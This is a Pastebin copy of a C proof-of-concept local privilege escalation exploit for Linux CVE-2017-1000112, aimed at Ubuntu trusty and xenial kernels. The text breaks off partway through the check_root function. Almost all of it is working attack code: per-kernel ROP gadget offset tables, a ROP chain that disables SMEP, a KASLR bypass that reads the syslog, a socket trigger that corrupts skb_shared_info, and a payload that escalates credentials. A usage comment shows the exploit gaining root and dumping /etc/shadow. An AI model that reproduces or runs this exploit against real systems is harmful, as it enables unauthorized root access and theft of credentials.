Advertisement
Guest User

Untitled

a guest
Jan 3rd, 2018
641
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.08 KB | None | 0 0
  1. // A proof-of-concept local root exploit for CVE-2017-1000112.
  2. // Includes KASLR and SMEP bypasses. No SMAP bypass.
  3. // Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels.
  4. //
  5. // Usage:
  6. // user@ubuntu:~$ uname -a
  7. // Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
  8. // user@ubuntu:~$ whoami
  9. // user
  10. // user@ubuntu:~$ id
  11. // uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
  12. // user@ubuntu:~$ gcc pwn.c -o pwn
  13. // user@ubuntu:~$ ./pwn
  14. // [.] starting
  15. // [.] checking distro and kernel versions
  16. // [.] kernel version '4.8.0-58-generic' detected
  17. // [~] done, versions looks good
  18. // [.] checking SMEP and SMAP
  19. // [~] done, looks good
  20. // [.] setting up namespace sandbox
  21. // [~] done, namespace sandbox set up
  22. // [.] KASLR bypass enabled, getting kernel addr
  23. // [~] done, kernel text: ffffffffae400000
  24. // [.] commit_creds: ffffffffae4a5d20
  25. // [.] prepare_kernel_cred: ffffffffae4a6110
  26. // [.] SMEP bypass enabled, mmapping fake stack
  27. // [~] done, fake stack mmapped
  28. // [.] executing payload ffffffffae40008d
  29. // [~] done, should be root now
  30. // [.] checking if we got root
  31. // [+] got r00t ^_^
  32. // root@ubuntu:/home/user# whoami
  33. // root
  34. // root@ubuntu:/home/user# id
  35. // uid=0(root) gid=0(root) groups=0(root)
  36. // root@ubuntu:/home/user# cat /etc/shadow
  37. // root:!:17246:0:99999:7:::
  38. // daemon:*:17212:0:99999:7:::
  39. // bin:*:17212:0:99999:7:::
  40. // sys:*:17212:0:99999:7:::
  41. // ...
  42. //
  43. // EDB Note: Details ~ http://www.openwall.com/lists/oss-security/2017/08/13/1
  44. //
  45. // Andrey Konovalov <andreyknvl@gmail.com>
  46.  
  47. #define _GNU_SOURCE
  48.  
  49. #include <assert.h>
  50. #include <errno.h>
  51. #include <fcntl.h>
  52. #include <sched.h>
  53. #include <stdarg.h>
  54. #include <stdbool.h>
  55. #include <stdint.h>
  56. #include <stdio.h>
  57. #include <stdlib.h>
  58. #include <string.h>
  59. #include <unistd.h>
  60.  
  61. #include <linux/socket.h>
  62. #include <netinet/ip.h>
  63. #include <sys/klog.h>
  64. #include <sys/mman.h>
  65. #include <sys/utsname.h>
  66.  
  67. #define ENABLE_KASLR_BYPASS 1
  68. #define ENABLE_SMEP_BYPASS 1
  69.  
  70. // Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
  71. unsigned long KERNEL_BASE = 0xffffffff81000000ul;
  72.  
  73. // Will be overwritten by detect_versions().
  74. int kernel = -1;
  75.  
  76. struct kernel_info {
  77. const char* distro;
  78. const char* version;
  79. uint64_t commit_creds;
  80. uint64_t prepare_kernel_cred;
  81. uint64_t xchg_eax_esp_ret;
  82. uint64_t pop_rdi_ret;
  83. uint64_t mov_dword_ptr_rdi_eax_ret;
  84. uint64_t mov_rax_cr4_ret;
  85. uint64_t neg_rax_ret;
  86. uint64_t pop_rcx_ret;
  87. uint64_t or_rax_rcx_ret;
  88. uint64_t xchg_eax_edi_ret;
  89. uint64_t mov_cr4_rdi_ret;
  90. uint64_t jmp_rcx;
  91. };
  92.  
  93. struct kernel_info kernels[] = {
  94. { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
  95. { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
  96. { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
  97. { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
  98. { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
  99. { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
  100. { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
  101. { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
  102. { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
  103. { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
  104. { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
  105. { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
  106. { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
  107. { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
  108. { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
  109. { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
  110. { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
  111. { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
  112. { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
  113. { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
  114. { "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
  115. { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
  116. { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
  117. { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
  118. { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
  119. { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
  120. { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
  121. { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
  122. { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
  123. { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
  124. { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
  125. { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
  126. { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
  127. { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
  128. { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
  129. { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
  130. { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
  131. { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
  132. { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
  133. };
  134.  
  135. // Used to get root privileges.
  136. #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
  137. #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
  138.  
  139. // Used when ENABLE_SMEP_BYPASS is used.
  140. // - xchg eax, esp ; ret
  141. // - pop rdi ; ret
  142. // - mov dword ptr [rdi], eax ; ret
  143. // - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
  144. // - neg rax ; ret
  145. // - pop rcx ; ret
  146. // - or rax, rcx ; ret
  147. // - xchg eax, edi ; ret
  148. // - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
  149. // - jmp rcx
  150. #define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
  151. #define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
  152. #define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
  153. #define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
  154. #define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
  155. #define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
  156. #define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
  157. #define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
  158. #define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
  159. #define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
  160.  
  161. // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
  162.  
  163. typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
  164. typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
  165.  
  166. void get_root(void) {
  167. ((_commit_creds)(COMMIT_CREDS))(
  168. ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
  169. }
  170.  
  171. // * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
  172.  
  173. uint64_t saved_esp;
  174.  
  175. // Unfortunately GCC does not support `__atribute__((naked))` on x86, which
  176. // can be used to omit a function's prologue, so I had to use this weird
  177. // wrapper hack as a workaround. Note: Clang does support it, which means it
  178. // has better support of GCC attributes than GCC itself. Funny.
  179. void wrapper() {
  180. asm volatile (" \n\
  181. payload: \n\
  182. movq %%rbp, %%rax \n\
  183. movq $0xffffffff00000000, %%rdx \n\
  184. andq %%rdx, %%rax \n\
  185. movq %0, %%rdx \n\
  186. addq %%rdx, %%rax \n\
  187. movq %%rax, %%rsp \n\
  188. call get_root \n\
  189. ret \n\
  190. " : : "m"(saved_esp) : );
  191. }
  192.  
  193. void payload();
  194.  
  195. #define CHAIN_SAVE_ESP \
  196. *stack++ = POP_RDI_RET; \
  197. *stack++ = (uint64_t)&saved_esp; \
  198. *stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
  199.  
  200. #define SMEP_MASK 0x100000
  201.  
  202. #define CHAIN_DISABLE_SMEP \
  203. *stack++ = MOV_RAX_CR4_RET; \
  204. *stack++ = NEG_RAX_RET; \
  205. *stack++ = POP_RCX_RET; \
  206. *stack++ = SMEP_MASK; \
  207. *stack++ = OR_RAX_RCX_RET; \
  208. *stack++ = NEG_RAX_RET; \
  209. *stack++ = XCHG_EAX_EDI_RET; \
  210. *stack++ = MOV_CR4_RDI_RET;
  211.  
  212. #define CHAIN_JMP_PAYLOAD \
  213. *stack++ = POP_RCX_RET; \
  214. *stack++ = (uint64_t)&payload; \
  215. *stack++ = JMP_RCX;
  216.  
  217. void mmap_stack() {
  218. uint64_t stack_aligned, stack_addr;
  219. int page_size, stack_size, stack_offset;
  220. uint64_t* stack;
  221.  
  222. page_size = getpagesize();
  223.  
  224. stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
  225. stack_addr = stack_aligned - page_size * 4;
  226. stack_size = page_size * 8;
  227. stack_offset = XCHG_EAX_ESP_RET % page_size;
  228.  
  229. stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
  230. MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
  231. if (stack == MAP_FAILED || stack != (void*)stack_addr) {
  232. perror("[-] mmap()");
  233. exit(EXIT_FAILURE);
  234. }
  235.  
  236. stack = (uint64_t*)((char*)stack_aligned + stack_offset);
  237.  
  238. CHAIN_SAVE_ESP;
  239. CHAIN_DISABLE_SMEP;
  240. CHAIN_JMP_PAYLOAD;
  241. }
  242.  
  243. // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
  244.  
  245. #define SYSLOG_ACTION_READ_ALL 3
  246. #define SYSLOG_ACTION_SIZE_BUFFER 10
  247.  
  248. void mmap_syslog(char** buffer, int* size) {
  249. *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
  250. if (*size == -1) {
  251. perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
  252. exit(EXIT_FAILURE);
  253. }
  254.  
  255. *size = (*size / getpagesize() + 1) * getpagesize();
  256. *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
  257. MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  258.  
  259. *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
  260. if (*size == -1) {
  261. perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
  262. exit(EXIT_FAILURE);
  263. }
  264. }
  265.  
  266. unsigned long get_kernel_addr_trusty(char* buffer, int size) {
  267. const char* needle1 = "Freeing unused";
  268. char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
  269. if (substr == NULL) {
  270. fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
  271. exit(EXIT_FAILURE);
  272. }
  273.  
  274. int start = 0;
  275. int end = 0;
  276. for (end = start; substr[end] != '-'; end++);
  277.  
  278. const char* needle2 = "ffffff";
  279. substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
  280. if (substr == NULL) {
  281. fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
  282. exit(EXIT_FAILURE);
  283. }
  284.  
  285. char* endptr = &substr[16];
  286. unsigned long r = strtoul(&substr[0], &endptr, 16);
  287.  
  288. r &= 0xffffffffff000000ul;
  289.  
  290. return r;
  291. }
  292.  
  293. unsigned long get_kernel_addr_xenial(char* buffer, int size) {
  294. const char* needle1 = "Freeing unused";
  295. char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
  296. if (substr == NULL) {
  297. fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
  298. exit(EXIT_FAILURE);
  299. }
  300.  
  301. int start = 0;
  302. int end = 0;
  303. for (start = 0; substr[start] != '-'; start++);
  304. for (end = start; substr[end] != '\n'; end++);
  305.  
  306. const char* needle2 = "ffffff";
  307. substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
  308. if (substr == NULL) {
  309. fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
  310. exit(EXIT_FAILURE);
  311. }
  312.  
  313. char* endptr = &substr[16];
  314. unsigned long r = strtoul(&substr[0], &endptr, 16);
  315.  
  316. r &= 0xfffffffffff00000ul;
  317. r -= 0x1000000ul;
  318.  
  319. return r;
  320. }
  321.  
  322. unsigned long get_kernel_addr() {
  323. char* syslog;
  324. int size;
  325. mmap_syslog(&syslog, &size);
  326.  
  327. if (strcmp("trusty", kernels[kernel].distro) == 0 &&
  328. strncmp("4.4.0", kernels[kernel].version, 5) == 0)
  329. return get_kernel_addr_trusty(syslog, size);
  330. if (strcmp("xenial", kernels[kernel].distro) == 0 &&
  331. strncmp("4.8.0", kernels[kernel].version, 5) == 0)
  332. return get_kernel_addr_xenial(syslog, size);
  333.  
  334. printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
  335. exit(EXIT_FAILURE);
  336. }
  337.  
  338. // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
  339.  
  340. struct ubuf_info {
  341. uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
  342. uint64_t ctx; // void *
  343. uint64_t desc; // unsigned long
  344. };
  345.  
  346. struct skb_shared_info {
  347. uint8_t nr_frags; // unsigned char
  348. uint8_t tx_flags; // __u8
  349. uint16_t gso_size; // unsigned short
  350. uint16_t gso_segs; // unsigned short
  351. uint16_t gso_type; // unsigned short
  352. uint64_t frag_list; // struct sk_buff *
  353. uint64_t hwtstamps; // struct skb_shared_hwtstamps
  354. uint32_t tskey; // u32
  355. uint32_t ip6_frag_id; // __be32
  356. uint32_t dataref; // atomic_t
  357. uint64_t destructor_arg; // void *
  358. uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
  359. };
  360.  
  361. struct ubuf_info ui;
  362.  
  363. void init_skb_buffer(char* buffer, unsigned long func) {
  364. struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
  365. memset(ssi, 0, sizeof(*ssi));
  366.  
  367. ssi->tx_flags = 0xff;
  368. ssi->destructor_arg = (uint64_t)&ui;
  369. ssi->nr_frags = 0;
  370. ssi->frag_list = 0;
  371.  
  372. ui.callback = func;
  373. }
  374.  
  375. // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
  376.  
  377. #define SHINFO_OFFSET 3164
  378.  
  379. void oob_execute(unsigned long payload) {
  380. char buffer[4096];
  381. memset(&buffer[0], 0x42, 4096);
  382. init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
  383.  
  384. int s = socket(PF_INET, SOCK_DGRAM, 0);
  385. if (s == -1) {
  386. perror("[-] socket()");
  387. exit(EXIT_FAILURE);
  388. }
  389.  
  390. struct sockaddr_in addr;
  391. memset(&addr, 0, sizeof(addr));
  392. addr.sin_family = AF_INET;
  393. addr.sin_port = htons(8000);
  394. addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  395.  
  396. if (connect(s, (void*)&addr, sizeof(addr))) {
  397. perror("[-] connect()");
  398. exit(EXIT_FAILURE);
  399. }
  400.  
  401. int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
  402. int rv = send(s, buffer, size, MSG_MORE);
  403. if (rv != size) {
  404. perror("[-] send()");
  405. exit(EXIT_FAILURE);
  406. }
  407.  
  408. int val = 1;
  409. rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
  410. if (rv != 0) {
  411. perror("[-] setsockopt(SO_NO_CHECK)");
  412. exit(EXIT_FAILURE);
  413. }
  414.  
  415. send(s, buffer, 1, 0);
  416.  
  417. close(s);
  418. }
  419.  
  420. // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
  421.  
  422. #define CHUNK_SIZE 1024
  423.  
  424. int read_file(const char* file, char* buffer, int max_length) {
  425. int f = open(file, O_RDONLY);
  426. if (f == -1)
  427. return -1;
  428. int bytes_read = 0;
  429. while (true) {
  430. int bytes_to_read = CHUNK_SIZE;
  431. if (bytes_to_read > max_length - bytes_read)
  432. bytes_to_read = max_length - bytes_read;
  433. int rv = read(f, &buffer[bytes_read], bytes_to_read);
  434. if (rv == -1)
  435. return -1;
  436. bytes_read += rv;
  437. if (rv == 0)
  438. return bytes_read;
  439. }
  440. }
  441.  
  442. #define LSB_RELEASE_LENGTH 1024
  443.  
  444. void get_distro_codename(char* output, int max_length) {
  445. char buffer[LSB_RELEASE_LENGTH];
  446. int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH);
  447. if (length == -1) {
  448. perror("[-] open/read(/etc/lsb-release)");
  449. exit(EXIT_FAILURE);
  450. }
  451. const char *needle = "DISTRIB_CODENAME=";
  452. int needle_length = strlen(needle);
  453. char* found = memmem(&buffer[0], length, needle, needle_length);
  454. if (found == NULL) {
  455. printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
  456. exit(EXIT_FAILURE);
  457. }
  458. int i;
  459. for (i = 0; found[needle_length + i] != '\n'; i++) {
  460. assert(i < max_length);
  461. assert((found - &buffer[0]) + needle_length + i < length);
  462. output[i] = found[needle_length + i];
  463. }
  464. }
  465.  
  466. void get_kernel_version(char* output, int max_length) {
  467. struct utsname u;
  468. int rv = uname(&u);
  469. if (rv != 0) {
  470. perror("[-] uname())");
  471. exit(EXIT_FAILURE);
  472. }
  473. assert(strlen(u.release) <= max_length);
  474. strcpy(&output[0], u.release);
  475. }
  476.  
  477. #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
  478.  
  479. #define DISTRO_CODENAME_LENGTH 32
  480. #define KERNEL_VERSION_LENGTH 32
  481.  
  482. void detect_versions() {
  483. char codename[DISTRO_CODENAME_LENGTH];
  484. char version[KERNEL_VERSION_LENGTH];
  485.  
  486. get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
  487. get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
  488.  
  489. int i;
  490. for (i = 0; i < ARRAY_SIZE(kernels); i++) {
  491. if (strcmp(&codename[0], kernels[i].distro) == 0 &&
  492. strcmp(&version[0], kernels[i].version) == 0) {
  493. printf("[.] kernel version '%s' detected\n", kernels[i].version);
  494. kernel = i;
  495. return;
  496. }
  497. }
  498.  
  499. printf("[-] kernel version not recognized\n");
  500. exit(EXIT_FAILURE);
  501. }
  502.  
  503. #define PROC_CPUINFO_LENGTH 4096
  504.  
  505. // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
  506. int smap_smep_enabled() {
  507. char buffer[PROC_CPUINFO_LENGTH];
  508. int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH);
  509. if (length == -1) {
  510. perror("[-] open/read(/proc/cpuinfo)");
  511. exit(EXIT_FAILURE);
  512. }
  513. int rv = 0;
  514. char* found = memmem(&buffer[0], length, "smep", 4);
  515. if (found != NULL)
  516. rv += 1;
  517. found = memmem(&buffer[0], length, "smap", 4);
  518. if (found != NULL)
  519. rv += 2;
  520. return rv;
  521. }
  522.  
  523. void check_smep_smap() {
  524. int rv = smap_smep_enabled();
  525. if (rv >= 2) {
  526. printf("[-] SMAP detected, no bypass available\n");
  527. exit(EXIT_FAILURE);
  528. }
  529. #if !ENABLE_SMEP_BYPASS
  530. if (rv >= 1) {
  531. printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
  532. exit(EXIT_FAILURE);
  533. }
  534. #endif
  535. }
  536.  
  537. // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
  538.  
  539. static bool write_file(const char* file, const char* what, ...) {
  540. char buf[1024];
  541. va_list args;
  542. va_start(args, what);
  543. vsnprintf(buf, sizeof(buf), what, args);
  544. va_end(args);
  545. buf[sizeof(buf) - 1] = 0;
  546. int len = strlen(buf);
  547.  
  548. int fd = open(file, O_WRONLY | O_CLOEXEC);
  549. if (fd == -1)
  550. return false;
  551. if (write(fd, buf, len) != len) {
  552. close(fd);
  553. return false;
  554. }
  555. close(fd);
  556. return true;
  557. }
  558.  
  559. void setup_sandbox() {
  560. int real_uid = getuid();
  561. int real_gid = getgid();
  562.  
  563. if (unshare(CLONE_NEWUSER) != 0) {
  564. printf("[!] unprivileged user namespaces are not available\n");
  565. perror("[-] unshare(CLONE_NEWUSER)");
  566. exit(EXIT_FAILURE);
  567. }
  568. if (unshare(CLONE_NEWNET) != 0) {
  569. perror("[-] unshare(CLONE_NEWUSER)");
  570. exit(EXIT_FAILURE);
  571. }
  572.  
  573. if (!write_file("/proc/self/setgroups", "deny")) {
  574. perror("[-] write_file(/proc/self/set_groups)");
  575. exit(EXIT_FAILURE);
  576. }
  577. if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
  578. perror("[-] write_file(/proc/self/uid_map)");
  579. exit(EXIT_FAILURE);
  580. }
  581. if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
  582. perror("[-] write_file(/proc/self/gid_map)");
  583. exit(EXIT_FAILURE);
  584. }
  585.  
  586. cpu_set_t my_set;
  587. CPU_ZERO(&my_set);
  588. CPU_SET(0, &my_set);
  589. if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
  590. perror("[-] sched_setaffinity()");
  591. exit(EXIT_FAILURE);
  592. }
  593.  
  594. if (system("/sbin/ifconfig lo mtu 1500") != 0) {
  595. perror("[-] system(/sbin/ifconfig lo mtu 1500)");
  596. exit(EXIT_FAILURE);
  597. }
  598. if (system("/sbin/ifconfig lo up") != 0) {
  599. perror("[-] system(/sbin/ifconfig lo up)");
  600. exit(EXIT_FAILURE);
  601. }
  602. }
  603.  
  604. void exec_shell() {
  605. char* shell = "/bin/bash";
  606. char* args[] = {shell, "-i", NULL};
  607. execve(shell, args, NULL);
  608. }
  609.  
  610. bool is_root() {
  611. // We can't simple check uid, since we're running inside a namespace
  612. // with uid set to 0. Try opening /etc/shadow instead.
  613. int fd = open("/etc/shadow", O_RDONLY);
  614. if (fd == -1)
  615. return false;
  616. close(fd);
  617. return true;
  618. }
  619.  
  620. void check_root() {
